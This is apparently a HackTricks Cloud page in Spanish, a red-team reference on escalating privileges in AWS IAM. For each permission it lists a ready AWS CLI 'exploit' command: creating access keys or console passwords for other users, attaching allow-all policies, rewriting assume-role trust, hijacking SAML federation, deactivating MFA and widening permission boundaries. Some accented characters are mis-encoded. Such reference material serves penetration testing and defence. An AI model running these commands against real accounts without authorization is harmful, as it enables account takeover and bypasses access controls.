AWS - IAM Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
IAM
Para m谩s informaci贸n sobre IAM consulta:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede la capacidad de crear una nueva versi贸n de una policy de IAM, evitando la necesidad del permiso iam:SetDefaultPolicyVersion al usar la bandera --set-as-default. Esto permite definir permisos personalizados.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Escala privilegios directamente al permitir cualquier acci贸n sobre cualquier recurso.
iam:SetDefaultPolicyVersion
Permite cambiar la versi贸n predeterminada de una pol铆tica IAM a otra versi贸n existente, lo que podr铆a escalar privilegios si la nueva versi贸n tiene m谩s permisos.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: Escalada de privilegios indirecta al permitir m谩s permisos.
iam:CreateAccessKey
Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios.
Explotaci贸n:
aws iam create-access-key --user-name <target_user>
Impacto: Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permite crear o actualizar un login profile, incluyendo establecer contrase帽as para el inicio de sesi贸n en la consola de AWS, lo que conduce a una escalada de privilegios directa.
Exploit para la creaci贸n:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para actualizaci贸n:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impacto: Escalada de privilegios directa al iniciar sesi贸n como cualquier usuario.
iam:UpdateAccessKey
Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalada directa de privilegios al reactivar claves de acceso.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permite generar o restablecer credenciales para servicios espec铆ficos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit para Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impacto: Escalada directa de privilegios dentro de los permisos del servicio del usuario.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para el Grupo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Escalada de privilegios directa a cualquier cosa que la pol铆tica otorgue.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permite adjuntar o poner pol铆ticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit para Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Puedes usar una pol铆tica como:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Escalada de privilegios directa al agregar permisos mediante pol铆ticas.
iam:AddUserToGroup
Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
Explotaci贸n:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impacto: Escalada de privilegios directa al nivel de los permisos del grupo.
iam:UpdateAssumeRolePolicy
Permite alterar el documento assume role policy de un role, habilitando la asunci贸n del role y sus permisos asociados.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Escalada de privilegios directa al asumir los permisos de cualquier rol.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permite subir una clave p煤blica SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para desactivaci贸n de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protecci贸n MFA.
iam:ResyncMFADevice
Permite la resincronizaci贸n de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protecci贸n MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalada de privilegios indirecta a帽adiendo o manipulando dispositivos MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Con estos permisos puedes cambiar los metadatos XML de la conexi贸n SAML. Luego, podr铆as abusar de la federaci贸n SAML para login con cualquier rol que conf铆e en ella.
Ten en cuenta que al hacer esto los usuarios leg铆timos no podr谩n login. Sin embargo, podr铆as obtener el XML, poner el tuyo, login y restaurar la configuraci贸n anterior.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesi贸n con un rol especificado
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(No estoy seguro sobre esto) Si un atacante tiene estos permisos podr铆a a帽adir un nuevo Thumbprint para poder iniciar sesi贸n en todos los roles que conf铆an en el proveedor.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Este permiso permite a un atacante actualizar el l铆mite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente est谩n restringidas por sus permisos existentes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una pol铆tica que no aplica ninguna restricci贸n es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un actor con iam:PutRolePermissionsBoundary puede establecer un l铆mite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el l铆mite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un l铆mite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

